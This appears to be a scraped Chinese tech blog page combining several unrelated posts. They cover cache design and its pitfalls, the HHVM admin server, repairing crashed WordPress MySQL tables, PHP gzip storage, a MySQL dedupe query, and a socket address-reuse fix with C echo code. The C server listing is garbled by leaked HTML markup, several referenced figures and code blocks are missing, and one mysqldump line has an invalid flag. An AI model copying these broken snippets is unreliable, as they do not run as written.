如何优雅的设计和使用缓存?

背景

在之前的文章中你应该知道的缓存进化史介绍了爱奇艺的缓存架构和缓存的进化历史。俗话说得好,工欲善其事,必先利其器,有了好的工具肯定得知道如何用好这些工具,本篇将介绍如何利用好缓存。

1.确认是否需要缓存

在使用缓存之前,需要确认你的项目是否真的需要缓存。使用缓存会引入的一定的技术复杂度,后文也将会一一介绍这些复杂度。一般来说从两个方面来个是否需要使用缓存:

  1. CPU占用:如果你有某些应用需要消耗大量的cpu去计算,比如正则表达式,如果你使用正则表达式比较频繁,而其又占用了很多CPU的话,那你就应该使用缓存将正则表达式的结果给缓存下来。
  2. 数据库IO占用:如果你发现你的数据库连接池比较空闲,那么不应该用缓存。但是如果数据库连接池比较繁忙,甚至经常报出连接不够的报警,那么是时候应该考虑缓存了。笔者曾经有个服务,被很多其他服务调用,其他时间都还好,但是在每天早上10点的时候总是会报出数据库连接池连接不够的报警,经过排查,发现有几个服务选择了在10点做定时任务,大量的请求打过来,DB连接池不够,从而报出连接池不够的报警。这个时候有几个选择,我们可以通过扩容机器来解决,也可以通过增加数据库连接池来解决,但是没有必要增加这些成本,因为只有在10点的时候才会出现这个问题。后来引入了缓存,不仅解决了这个问题,而且还增加了读的性能。

如果并没有上述两个问题,那么你不必为了增加缓存而缓存。

2.选择合适的缓存

缓存又分进程内缓存和分布式缓存两种。很多人包括笔者在开始选缓存框架的时候都感到了困惑:网上的缓存太多了,大家都吹嘘自己很牛逼,我该怎么选择呢?

2.1 选择合适的进程缓存

首先看看几个比较常用的缓存的比较,具体原理可以参考你应该知道的缓存进化史:

比较项 ConcurrentHashMap LRUMap Ehcache Guava Cache Caffeine
读写性能 很好,分段锁 一般,全局加锁 好,需要做淘汰操作 很好
淘汰算法 LRU,一般 支持多种淘汰算法,LRU,LFU,FIFO LRU,一般 W-TinyLFU, 很好
功能丰富程度 功能比较简单 功能比较单一 功能很丰富 功能很丰富,支持刷新和虚引用等 功能和Guava Cache类似
工具大小 jdk自带类,很小 基于LinkedHashMap,较小 很大,最新版本1.4MB 是Guava工具类中的一个小部分,较小 一般,最新版本644KB
是否持久化
是否支持集群
  • 对于ConcurrentHashMap来说,比较适合缓存比较固定不变的元素,且缓存的数量较小的。虽然从上面表格中比起来有点逊色,但是其由于是jdk自带的类,在各种框架中依然有大量的使用,比如我们可以用来缓存我们反射的Method,Field等等;也可以缓存一些链接,防止其重复建立。在Caffeine中也是使用的ConcurrentHashMap来存储元素。
  • 对于LRUMap来说,如果不想引入第三方包,又想使用淘汰算法淘汰数据,可以使用这个。
  • 对于Ehcache来说,由于其jar包很大,较重量级。对于需要持久化和集群的一些功能的,可以选择Ehcache。笔者没怎么使用过这个缓存,如果要选择的话,可以选择分布式缓存来替代Ehcache。
  • 对于Guava Cache来说,Guava这个jar包在很多Java应用程序中都有大量的引入,所以很多时候其实是直接用就好了,并且其本身是轻量级的而且功能较为丰富,在不了解Caffeine的情况下可以选择Guava Cache。
  • 对于Caffeine来说,笔者是非常推荐的,其在命中率,读写性能上都比Guava Cache好很多,并且其API和Guava cache基本一致,甚至会多一点。在真实环境中使用Caffeine,取得过不错的效果。

总结一下:如果不需要淘汰算法则选择ConcurrentHashMap,如果需要淘汰算法和一些丰富的API,这里推荐选择Caffeine。

2.2 选择合适的分布式缓存

这里选取三个比较出名的分布式缓存来作为比较,MemCache(没有实战使用过),Redis(在美团又叫Squirrel),Tair(在美团又叫Cellar)。不同的分布式缓存功能特性和实现原理方面有很大的差异,因此他们所适应的场景也有所不同。

比较项 MemCache Squirrel/Redis Cellar/Tair
数据结构 只支持简单的Key-Value结构 String,Hash, List, Set, Sorted Set String,HashMap, List,Set
持久化 不支持 支持 支持
容量大小 数据纯内存,数据存储不宜过多 数据全内存,资源成本考量不宜超过100GB 可以配置全内存或内存+磁盘引擎,数据容量可无限扩充
读写性能 很高 很高(RT0.5ms左右) String类型比较高(RT1ms左右),复杂类型比较慢(RT5ms左右)
  • MemCache:这一块接触得比较少,不做过多的推荐。其吞吐量较大,但是支持的数据结构较少,并且不支持持久化。
  • Redis:支持丰富的数据结构,读写性能很高,但是数据全内存,必须要考虑资源成本,支持持久化。
  • Tair: 支持丰富的数据结构,读写性能较高,部分类型比较慢,理论上容量可以无限扩充。

总结:如果服务对延迟比较敏感,Map/Set数据也比较多的话,比较适合Redis。如果服务需要放入缓存量的数据很大,对延迟又不是特别敏感的话,那就可以选择Tair。在美团的很多应用中对Tair都有应用,在笔者的项目中使用其存放我们生成的支付token,支付码,用来替代数据库存储。大部分的情况下两者都可以选择,互为替代。

3.多级缓存

很多人一想到缓存马上脑子里面就会出现下面的图:


Redis用来存储热点数据,Redis中没有的数据则直接去数据库访问。

在之前介绍本地缓存的时候,很多人都问我,我已经有Redis了,我干嘛还需要了解Guava,Caffeine这些进程缓存呢。我基本统一回复下面两个答案:

  1. Redis如果挂了或者使用老版本的Redis,其会进行全量同步,此时Redis是不可用的,这个时候我们只能访问数据库,很容易造成雪崩。
  2. 访问Redis会有一定的网络I/O以及序列化反序列化,虽然性能很高但是其终究没有本地方法快,可以将最热的数据存放在本地,以便进一步加快访问速度。这个思路并不是我们做互联网架构独有的,在计算机系统中使用L1,L2,L3多级缓存,用来减少对内存的直接访问,从而加快访问速度。

所以如果仅仅是使用Redis,能满足我们大部分需求,但是当需要追求更高的性能以及更高的可用性的时候,那就不得不了解多级缓存。

3.1使用进程缓存

对于进程内缓存,其本来受限于内存的大小的限制,以及进程缓存更新后其他缓存无法得知,所以一般来说进程缓存适用于:

  1. 数据量不是很大,数据更新频率较低,之前我们有个查询商家名字的服务,在发送短信的时候需要调用,由于商家名字变更频率较低,并且就算是变更了没有及时变更缓存,短信里面带有老的商家名字客户也能接受。利用Caffeine作为本地缓存,size设置为1万,过期时间设置为1个小时,基本能在高峰期解决问题。
  2. 如果数据量更新频繁,也想使用进程缓存的话,那么可以将其过期时间设置为较短,或者设置其较短的自动刷新的时间。这些对于Caffeine或者Guava Cache来说都是现成的API。

3.2使用多级缓存

俗话说得好,世界上没有什么是一个缓存解决不了的事,如果有,那就两个。

一般来说我们选择一个进程缓存和一个分布式缓存来搭配做多级缓存,一般来说引入两个也足够了,如果使用三个,四个的话,技术维护成本会很高,反而有可能会得不偿失,如下图所示:


利用Caffeine做一级缓存,Redis作为二级缓存。

  1. 首先去Caffeine中查询数据,如果有直接返回。如果没有则进行第2步。
  2. 再去Redis中查询,如果查询到了返回数据并在Caffeine中填充此数据。如果没有查到则进行第3步。
  3. 最后去Mysql中查询,如果查询到了返回数据并在Redis,Caffeine中依次填充此数据。

对于Caffeine的缓存,如果有数据更新,只能删除更新数据的那台机器上的缓存,其他机器只能通过超时来过期缓存,超时设定可以有两种策略:

  • 设置成写入后多少时间后过期
  • 设置成写入后多少时间刷新

对于Redis的缓存更新,其他机器立马可见,但是也必须要设置超时时间,其时间比Caffeine的过期长。

为了解决进程内缓存的问题,设计进一步优化:


通过Redis的pub/sub,可以通知其他进程缓存对此缓存进行删除。如果Redis挂了或者订阅机制不靠谱,依靠超时设定,依然可以做兜底处理。

4.缓存更新

一般来说缓存的更新有两种情况:

  • 先删除缓存,再更新数据库。
  • 先更新数据库,再删除缓存。 这两种情况在业界,大家对其都有自己的看法。具体怎么使用还得看各自的取舍。当然肯定会有人问为什么要删除缓存呢?而不是更新缓存呢?你可以想想当有多个并发的请求更新数据,你并不能保证更新数据库的顺序和更新缓存的顺序一致,那就会出现数据库中和缓存中数据不一致的情况。所以一般来说考虑删除缓存。

4.1先删除缓存,再更新数据库

对于一个更新操作简单来说,就是先去各级缓存进行删除,然后更新数据库。这个操作有一个比较大的问题,在对缓存删除完之后,有一个读请求,这个时候由于缓存被删除所以直接会读库,读操作的数据是老的并且会被加载进入缓存当中,后续读请求全部访问的老数据。


对缓存的操作不论成功失败都不能阻塞我们对数据库的操作,那么很多时候删除缓存可以用异步的操作,但是先删除缓存不能很好的适用于这个场景。

先删除缓存也有一个好处是,如果对数据库操作失败了,那么由于先删除的缓存,最多只是造成Cache Miss。

4.2先更新数据库,再删除缓存(推荐)

如果我们使用更新数据库,再删除缓存就能避免上面的问题。但是同样的引入了新的问题,试想一下有一个数据此时是没有缓存的,所以查询请求会直接落库,更新操作在查询请求之后,但是更新操作删除数据库操作在查询完之后回填缓存之前,就会导致我们缓存中和数据库出现缓存不一致。

为什么我们这种情况有问题,很多公司包括Facebook还会选择呢?因为要触发这个条件比较苛刻。

  1. 首先需要数据不在缓存中。
  2. 其次查询操作需要在更新操作先到达数据库。
  3. 最后查询操作的回填比更新操作的删除后触发,这个条件基本很难出现,因为更新操作的本来在查询操作之后,一般来说更新操作比查询操作稍慢。但是更新操作的删除却在查询操作之后,所以这个情况比较少出现。

对比上面4.1的问题来说这种问题的概率很低,况且我们有超时机制保底所以基本能满足我们的需求。如果真的需要追求完美,可以使用二阶段提交,但是其成本和收益一般来说不成正比。

当然还有个问题是如果我们删除失败了,缓存的数据就会和数据库的数据不一致,那么我们就只能靠过期超时来进行兜底。对此我们可以进行优化,如果删除失败的话 我们不能影响主流程那么我们可以将其放入队列后续进行异步删除。

5.缓存挖坑三剑客

大家一听到缓存有哪些注意事项,肯定首先想到的是缓存穿透,缓存击穿,缓存雪崩这三个挖坑的小能手,这里简单介绍一下他们具体是什么以及应对的方法。

5.1缓存穿透

缓存穿透是指查询的数据在数据库是没有的,那么在缓存中自然也没有,所以,在缓存中查不到就会去数据库取查询,这样的请求一多,那么我们的数据库的压力自然会增大。

为了避免这个问题,可以采取下面两个手段:

  1. 约定:对于返回为NULL的依然缓存,对于抛出异常的返回不进行缓存,注意不要把抛异常的也给缓存了。采用这种手段的会增加我们缓存的维护成本,需要在插入缓存的时候删除这个空缓存,当然我们可以通过设置较短的超时时间来解决这个问题。

2. 制定一些规则过滤一些不可能存在的数据,小数据用BitMap,大数据可以用布隆过滤器,比如你的订单ID 明显是在一个范围1-1000,如果不是1-1000之内的数据那其实可以直接给过滤掉。


5.2缓存击穿

对于某些key设置了过期时间,但是其是热点数据,如果某个key失效,可能大量的请求打过来,缓存未命中,然后去数据库访问,此时数据库访问量会急剧增加。

为了避免这个问题,我们可以采取下面的两个手段:

  1. 加分布式锁:加载数据的时候可以利用分布式锁锁住这个数据的Key,在Redis中直接使用setNX操作即可,对于获取到这个锁的线程,查询数据库更新缓存,其他线程采取重试策略,这样数据库不会同时受到很多线程访问同一条数据。
  2. 异步加载:由于缓存击穿是热点数据才会出现的问题,可以对这部分热点数据采取到期自动刷新的策略,而不是到期自动淘汰。淘汰其实也是为了数据的时效性,所以采用自动刷新也可以。

5.3缓存雪崩

缓存雪崩是指缓存不可用或者大量缓存由于超时时间相同在同一时间段失效,大量请求直接访问数据库,数据库压力过大导致系统雪崩。

为了避免这个问题,我们采取下面的手段:

  1. 增加缓存系统可用性,通过监控关注缓存的健康程度,根据业务量适当的扩容缓存。
  2. 采用多级缓存,不同级别缓存设置的超时时间不同,及时某个级别缓存都过期,也有其他级别缓存兜底。
  3. 缓存的过期时间可以取个随机值,比如以前是设置10分钟的超时时间,那每个Key都可以随机8-13分钟过期,尽量让不同Key的过期时间不同。

6.缓存污染

缓存污染一般出现在我们使用本地缓存中,可以想象,在本地缓存中如果你获得了缓存,但是你接下来修改了这个数据,但是这个数据并没有更新在数据库,这样就造成了缓存污染:


上面的代码就造成了缓存污染,通过id获取Customer,但是需求需要修改Customer的名字,所以开发人员直接在取出来的对象中直接修改,这个Customer对象就会被污染,其他线程取出这个数据就是错误的数据。要想避免这个问题需要开发人员从编码上注意,并且代码必须经过严格的review,以及全方位的回归测试,才能从一定程度上解决这个问题。

7.序列化

序列化是很多人都不注意的一个问题,很多人忽略了序列化的问题,上线之后马上报出一下奇怪的错误异常,造成了不必要的损失,最后一排查都是序列化的问题。列举几个序列化常见的问题:

  1. key-value对象过于复杂导致序列化不支持:笔者之前出过一个问题,在美团的Tair内部默认是使用protostuff进行序列化,而美团使用的通讯框架是thfift,thrift的TO是自动生成的,这个TO里面很多复杂的数据结构,但是将其存放到了Tair中。查询的时候反序列化也没有报错,单测也通过,但是到qa测试的时候发现这一块功能有问题,发现有个字段是boolean类型默认是false,把它改成true之后,序列化到tair中再反序列化还是false。定位到是protostuff对于复杂结构的对象(比如数组,List
    等等)支持不是很好,会造成一定的问题。后来对这个TO进行了转换,用普通的Java对象就能进行正确的序列化反序列化。
  2. 添加了字段或者删除了字段,导致上线之后老的缓存获取的时候反序列化报错,或者出现一些数据移位。
  3. 不同的JVM的序列化不同,如果你的缓存有不同的服务都在共同使用(不提倡),那么需要注意不同JVM可能会对Class内部的Field排序不同,而影响序列化。比如下面的代码,在Jdk7和Jdk8中对象A的排列顺序不同,最终会导致反序列化结果出现问题:
//jdk 7
class A{
    int a;
    int b;
}
//jdk 8
class A{
    int b;
    int a;
}
复制代码

序列化的问题必须得到重视,解决的办法有如下几点:

  1. 测试:对于序列化需要进行全面的测试,如果有不同的服务并且他们的JVM不同那么你也需要做这一块的测试,在上面的问题中笔者的单测通过的原因是用的默认数据false,所以根本没有测试true的情况,还好QA给力,将其给测试出来了。
  2. 对于不同的序列化框架都有自己不同的原理,对于添加字段之后如果当前序列化框架不能兼容老的,那么可以换个序列化框架。 对于protostuff来说他是按照Field的顺序来进行反序列化的,对于添加字段我们需要放到末尾,也就是不能插在中间,否则会出现错误。对于删除字段来说,用@Deprecated注解进行标注弃用,如果贸然删除,除非是最后一个字段,否则肯定会出现序列化异常。
  3. 可以使用双写来避免,对于每个缓存的key值可以加上版本号,每次上线版本号都加1,比如现在线上的缓存用的是Key_1,即将要上线的是Key_2,上线之后对缓存的添加是会写新老两个不同的版本(Key_1,Key_2)的Key-Value,读取数据还是读取老版本Key_1的数据,假设之前的缓存的过期时间是半个小时,那么上线半个小时之后,之前的老缓存存量的数据都会被淘汰,此时线上老缓存和新缓存他们的数据基本是一样的,切换读操作到新缓存,然后停止双写。采用这种方法基本能平滑过渡新老Model交替,但是不好的点就是需要短暂的维护两套新老Model,下次上线的时候需要删除掉老Model,增加了维护成本。

8. GC调优

对于大量使用本地缓存的应用,由于涉及到缓存淘汰,那么GC问题必定是常事。如果出现GC较多,STW时间较长,那么必定会影响服务可用性。这一块给出下面几点建议:

  1. 经常查看GC监控,如何发现不正常,需要想办法对其进行优化。
  2. 对于CMS垃圾收集器,如果发现remark过长,如果是大量本地缓存应用的话这个过长应该很正常,因为在并发阶段很容易有很多新对象进入缓存,从而remark阶段扫描很耗时,remark又会暂停。可以开启-XX:CMSScavengeBeforeRemark,在remark阶段前进行一次YGC,从而减少remark阶段扫描gc root的开销。
  3. 可以使用G1垃圾收集器,通过-XX:MaxGCPauseMillis设置最大停顿时间,提高服务可用性。

9. 缓存的监控

很多人对于缓存的监控也比较忽略,基本上线之后如果不报错然后就默认他就生效了。但是存在这个问题,很多人由于经验不足,有可能设置了不恰当的过期时间,或者不恰当的缓存大小导致缓存命中率不高,让缓存就成为了代码中的一个装饰品。所以对于缓存各种指标的监控,也比较重要,通过其不同的指标数据,我们可以对缓存的参数进行优化,从而让缓存达到最优化:


上面的代码中用来记录get操作的,通过Cat记录了获取缓存成功,缓存不存在,缓存过期,缓存失败(获取缓存时如果抛出异常,则叫失败),通过这些指标,我们就能统计出命中率,我们调整过期时间和大小的时候就可以参考这些指标进行优化。

10. 一款好的框架

一个好的剑客没有一把好剑怎么行呢?如果要使用好缓存,一个好的框架也必不可少。在最开始使用的时候大家使用缓存都用一些util,把缓存的逻辑写在业务逻辑中:


上面的代码把缓存的逻辑耦合在业务逻辑当中,如果我们要增加成多级缓存那就需要修改我们的业务逻辑,不符合开闭原则,所以引入一个好的框架是不错的选择。

推荐大家使用JetCache这款开源框架,其实现了Java缓存规范JSR107并且支持自动刷新等高级功能。笔者参考JetCache结合Spring Cache, 监控框架Cat以及美团的熔断限流框架Rhino实现了一套自有的缓存框架,让操作缓存,打点监控,熔断降级,业务人员无需关心。上面的代码可以优化成:


对于一些监控数据也能轻松从大盘上看到:


最后

想要真正的使用好一个缓存,必须要掌握很多的知识,并不是看几个Redis原理分析,就能把Redis缓存用得炉火纯青。对于不同场景,缓存有各自不同的用法,同样的不同的缓存也有自己的调优策略,进程内缓存你需要关注的是他的淘汰算法和GC调优,以及要避免缓存污染等。分布式缓存你需要关注的是他的高可用,如果其不可用了如何进行降级,以及一些序列化的问题。一个好的框架也是必不可少的,对其如果使用得当再加上上面介绍的经验,相信能让你很好的驾驭住这头野马——缓存。

作者:公众号_咖啡拿铁
链接:https://juejin.im/post/5b849878e51d4538c77a974a
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

Advanced Usage: Admin Server

link:https://docs.hhvm.com/hhvm/advanced-usage/admin-server

The admin server allows the administrator of the HHVM server to query and control the HHVM server process. It is different and separate than the primary HHVM server that you specified with -m server or -m daemon.

To turn on the admin server, you specify the following options at the command line via -d or within your server.ini (or equivalent).

hhvm.admin_server.port=9001
hhvm.admin_server.password=SomePassword

The port can be any open port. And you should always specify a password to secure the admin port since you don’t want just anybody being able to control your server. In fact, you will probably want to put the admin server behind a firewall. You will specify the password with every request to the admin port.

The admin server uses the same protocol as the main server – so, if you’re using FastCGI mode, the admin server will also be FastCGI, and you will need to configure a front-end webserver (like nginx). If you are using Proxygen mode, the admin server will be an HTTP server.

Querying the Admin Server

Once you have set up your admin server, you can query it via curl.

curl http://localhost:9001/

will bring up a list of commands you can use to control and query your admin server.

The port associated with the curl command is the hhvm.admin_server port set above if you are using ProxygenIf you are using FastCGI, then the port will be the webserver port that is the front end to FastCGI.

Sending a Command

Use one of the commands listed with the curl sequence above, along with your password, to send a command to the admin server.

curl http://localhost:9001/compiler-id?auth=SomePassword

Further Reference

There is a good blog post discussing the admin server even further.

wordpress挂站–Error establishing a database connection

今天莫名其妙我的博客出现Error establishing a database connection,一看应该是数据连接不上了。首先看了下wp-config.php,发现无异常。重启nginx,更换php5均没有效果。网上查了下,说是http://blog.csdn.net/mwb310/article/details/53009920,众说纷纭,有文件格式错误,mysql版本错误等等,试了均无效。

想着不如先把sql dump一份备份,所以

mysqldump -uxxx -pxxx --dataname >wordpress.log

发现:

 

warning : 250 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_search
warning : 156 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_useronline
warning : 252 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_visit
warning : 252 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_statistics_visitor
warning : 252 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_term_relationships
warning : 32 clients are using or haven’t closed the table properly
status : OK
wangchunwei.wp_term_taxonomy
warning : 31 clients are using or haven’t closed the table properly
status : OK

 

 

mysqldump: Got error: 145: Table ‘./xxx/wp_options’ is marked as crashed and should be repaired when using LOCK TABLES

网上参考了:

修复 MySQL 数据库数据表问题可以由 mysqlcheck 来解决,先用 mysqlcheck 查看一下:

# mysqlcheck -u root -p wordpress
Enter password:

然后添加 –auto-repair 参数自动修复,最好修复前备份一下数据库:

# mysqldump -u root -p wordpress > wordpress.sql
Enter password:

# mysqlcheck -u root -p wordpress --auto-repair
Enter password:
wordpress.wp_commentmeta
error    : Table upgrade required. Please do "REPAIR TABLE `wp_commentmeta`" or dump/reload to fix it!
wordpress.wp_comments
error    : Table upgrade required. Please do "REPAIR TABLE `wp_comments`" or dump/reload to fix it!
wordpress.wp_links
error    : Table upgrade required. Please do "REPAIR TABLE `wp_links`" or dump/reload to fix it!
wordpress.wp_options
error    : Table upgrade required. Please do "REPAIR TABLE `wp_options`" or dump/reload to fix it!
wordpress.wp_postmeta
error    : Table upgrade required. Please do "REPAIR TABLE `wp_postmeta`" or dump/reload to fix it!
wordpress.wp_posts
error    : Table upgrade required. Please do "REPAIR TABLE `wp_posts`" or dump/reload to fix it!
wordpress.wp_term_relationships                OK
wordpress.wp_term_taxonomy
error    : Table upgrade required. Please do "REPAIR TABLE `wp_term_taxonomy`" or dump/reload to fix it!
wordpress.wp_terms
error    : Table upgrade required. Please do "REPAIR TABLE `wp_terms`" or dump/reload to fix it!
wordpress.wp_usermeta
error    : Table upgrade required. Please do "REPAIR TABLE `wp_usermeta`" or dump/reload to fix it!
wordpress.wp_users
error    : Table upgrade required. Please do "REPAIR TABLE `wp_users`" or dump/reload to fix it!

Repairing tables
wordpress.wp_commentmeta                       OK
wordpress.wp_comments                          OK
wordpress.wp_links                             OK
wordpress.wp_options                           OK
wordpress.wp_postmeta                          OK
wordpress.wp_posts                             OK
wordpress.wp_term_taxonomy                     OK
wordpress.wp_terms                             OK
wordpress.wp_usermeta                          OK
wordpress.wp_users                             OK

网站恢复了!应该是链接没有释放

PHP字符串压缩存入数据库

网上流传这样方法存入压缩数据到mysql:

$data = array();//需要压缩存入数据库的数据

$eventData = addslashes( gzdeflate( json_encode( $data ), 9 ) ); //压缩数据存入数据库

$logData //数据库存入的压缩数据

$eventData = json_decode( gzinflate( $logData ), true );//获取压缩的数据 从数据库读取

实际使用中发现:
$str = “testsaaaaaaddddddd”;
$str1 = gzcompress($str);
$str2 = utf8_encode((gzdeflate($str)));

需要utf8_encode才能存入mysql的规范!

 

[转]MySQL 【去重留一】一条sql语句完成 思路总结

最后在一个技术群里得到了完美的答案,看这条sql语句:

DELETE consum_record
FROM
    consum_record, 
    (
        SELECT
            min(id) id,
            user_id,
            monetary,
            consume_time
        FROM
            consum_record
        GROUP BY
            user_id,
            monetary,
            consume_time
        HAVING
            count(*) > 1
    ) t2
WHERE
    consum_record.user_id = t2.user_id 
    and consum_record.monetary = t2.monetary
    and consum_record.consume_time  = t2.consume_time
AND consum_record.id > t2.id;

上面这条sql语句,仔细看一下,揣摩出思路也不难,大概也分为3步来理解:

  1. (SELECT min(id) id, user_id, monetary, consume_time FROM consum_record GROUP BY user_id, monetary, consume_time HAVING count(*) > 1 ) t2 查询出重复记录形成一个集合(临时表t2),集合里是每种重复记录的最小ID
  2. consum_record.user_id = t2.user_id and consum_record.monetary = t2.monetary and consum_record.consume_time = t2.consume_time 关联判断重复基准的字段
  3. 根据条件,删除原表中id大于t2中id的记录

看到这个语句的时候,心里想这也太厉害了。这么一个简单的sql语句,竟然可以解决这么复杂的问题,涨姿势了~
运行起来也超级快,原先的代码循环执行,需要116s左右,而这里0.3s就可以了,厉害了~

perfect_sql.png

perfect_sql.png

socket_bind:address already in use 解决办法

先说解决办法:


</div>
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {

echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if(socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1) === false) {

echo "socket_set_option failed: reason: " . socket_strerror(socket_last_error()) . "\n";

}

下面摘抄的原因:

今天在linux下,编写了一个简单的回射客户/服务器(就是客户机从控制台标准输入并发送数据,服务端接受数据,但是不对数据进行处理,然后将数据返回,交由客户机标准输出),然后遇到了一些问题,郁闷了好长时间,然后就想着将这些东西写下来,跟大家分享分享

1,  客户端和服务端到底那个是先退出的??这个有什么区别吗??(死循环)

2,  为什么有的时候bind:address already in use一直存在???不是说好的2-4分钟吗,,(ctrl + z 和 ctrl + c)

3,  当bind:address already in use不是一直存在时(存在2-4分钟时),如何避免???(SO_REUSEADDR可以让当前的端口立即重用)

为了能让上面的问题更形象一点,好理解一点(下面我添加上了源代码)

服务端:

</b><a class=”ViewSource” title=”view plain” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>view plain</a><span data-mod=”popu_168″><span data-mod=”popu_168″> <a class=”CopyToClipboard” title=”copy” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>copy</a></span></span> <div><embed id=”ZeroClipboardMovie_1″ src=”http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf” type=”application/x-shockwave-flash” width=”18″ height=”18″ align=”middle” name=”ZeroClipboardMovie_1″></embed></div> </div> </div> <ol class=”dp-cpp” start=”1″> <li class=”alt”><span class=”preprocessor”>#include &lt;stdio.h&gt;                                                                                                                              </span></li> <li class=””><span class=”preprocessor”>#include &lt;sys/types.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;sys/socket.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;stdlib.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;string.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;arpa/inet.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;netinet/in.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;netinet/ip.h&gt; /* superset of previous */</span></li> <li class=””><span class=”comment”>//#define INADDR_ANY  0</span></li> <li class=””><span class=”preprocessor”>#define ERR_EXIT(m)                    \</span></li> <li class=”alt”><span class=”keyword”>do</span>{                            \</li> <li class=””>                perror(m);             \</li> <li class=”alt”>                exit(EXIT_FAILURE);    \</li> <li class=””>        }<span class=”keyword”>while</span>(0)</li> <li class=”alt”><span class=”datatypes”>int</span> main(){</li> <li class=”alt”><span class=”datatypes”>int</span> listenfd;      <span class=”comment”>//socket返回值,类似于文件描述符,也成为套接字</span></li> <li class=””><span class=”keyword”>if</span>((listenfd = socket(AF_INET,  SOCK_STREAM,  IPPROTO_TCP)) &lt; 0)</li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”SOCKET”</span>);</li> <li class=””><span class=”keyword”>struct</span>  sockaddr_in servaddr;                                <span class=”comment”>//inin IPv4</span></li> <li class=”alt”>        memset(&amp;servaddr,  0 , <span class=”keyword”>sizeof</span>(servaddr));                 <span class=”comment”>//inint memory</span></li> <li class=””>        servaddr.sin_family = AF_INET;</li> <li class=”alt”>        servaddr.sin_port   = htons(5188);</li> <li class=””>        servaddr.sin_addr.s_addr = htonl(INADDR_ANY);</li> <li class=”alt”><span class=”comment”>//      servaddr.sin_addr.s_addr = inet_addr(192.0.0.1);</span></li> <li class=””><span class=”comment”>//      inet_aton(“127.0.0.1″, &amp;servaddr.sin_addr);</span></li> <li class=””><span class=”keyword”>if</span>((bind(listenfd,  (<span class=”keyword”>struct</span> sockaddr*)&amp;servaddr,  <span class=”keyword”>sizeof</span>(servaddr))) &lt; 0 )     <span class=”comment”>//bind  serve and IPv4</span></li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”bind”</span>);</li> <li class=””><span class=”keyword”>if</span> ((listen(listenfd, SOMAXCONN)) &lt; 0)                                 <span class=”comment”>//change  state (from initiative to passivity)</span></li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”LISTEN”</span>);</li> <li class=”alt”><span class=”datatypes”>int</span> conn;                                                              <span class=”comment”>//accept’s  backvalue,is a connect socket</span></li> <li class=””><span class=”keyword”>struct</span> sockaddr_in peeraddr;</li> <li class=”alt”>        socklen_t peerlen = <span class=”keyword”>sizeof</span>(peeraddr);</li> <li class=””><span class=”keyword”>if</span>((conn = (accept(listenfd, (<span class=”keyword”>struct</span> sockaddr*)(&amp;peeraddr), &amp;peerlen))) &lt; 0)</li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”accept”</span>);</li> <li class=””>        printf(<span class=”string”>”ip is %s,  port is %d\n”</span>, inet_ntoa(peeraddr.sin_addr), ntohs(peeraddr.sin_port));</li> <li class=”alt”><span class=”comment”>//      printf(“ip=%d\n”, ntohs(peeraddr.sin_port));</span></li> <li class=””><span class=”datatypes”>char</span> recvbuf[1024];</li> <li class=”alt”><span class=”keyword”>while</span>(1){</li> <li class=””>                memset(recvbuf, 0 , <span class=”keyword”>sizeof</span>(recvbuf));  <span class=”comment”>//inint  string</span></li> <li class=”alt”><span class=”datatypes”>int</span> ret = read(conn , recvbuf, <span class=”keyword”>sizeof</span>(recvbuf)); <span class=”comment”>//receive a string </span></li> <li class=””>                 printf(<span class=”string”>”服务端:%s”</span>, recvbuf);</li> <li class=”alt”><span class=”datatypes”>int</span> r = write(conn,  recvbuf, ret);</li> <li class=””>        }</li> <li class=”alt”>        close(conn);</li> <li class=””>        close(listenfd);</li> <li class=”alt”>}</li> </ol> </div> 客户端: <div class=”dp-highlighter bg_cpp”> <div class=”bar”> <div class=”tools”><b>

view plain copy

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <arpa/inet.h>
  7. #include <netinet/in.h>
  8. #define ERR_EXIT(m)                    \
  9. do{                            \
  10.                 perror(m);             \
  11.                 exit(EXIT_FAILURE);    \
  12.         }while(0)
  13. int main(){
  14. int sock;      //socket返回值,类似于文件描述符,也成为套接字
  15. if((sock = socket(AF_INET,  SOCK_STREAM,  IPPROTO_TCP)) < 0)
  16.                 ERR_EXIT(“SOCKET”);
  17. struct  sockaddr_in servaddr;                                //inin IPv4
  18.         memset(&servaddr,  0 , sizeof(servaddr));                 //inint memory
  19.         servaddr.sin_family = AF_INET;
  20.         servaddr.sin_port  = htons(5188);
  21.         servaddr.sin_addr.s_addr  = inet_addr(“127.0.0.1”);
  22. //     inet_aton(“127.0.0.1”, &servaddr.sin_addr);
  23. if (connect(sock,  (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0)
  24.                 ERR_EXIT(“CONNECT”);
  25. char sendrec[1024] = {0};
  26. char recerec[1024] = {0};
  27. while( fgets(sendrec  , sizeof(sendrec),  stdin) != NULL){
  28.                 write(sock , sendrec, strlen(sendrec));
  29.                 read(sock,   recerec, sizeof(recerec));
  30.                 printf(“客户端:  %s\n”, recerec);
  31.                 memset(sendrec , 0,  sizeof(sendrec));
  32.                 memset(recerec,  0,  sizeof(sendrec));
  33.         }
  34.         close(sock);
  35. }

1, 关于客户端还是服务端退出的先后顺序??

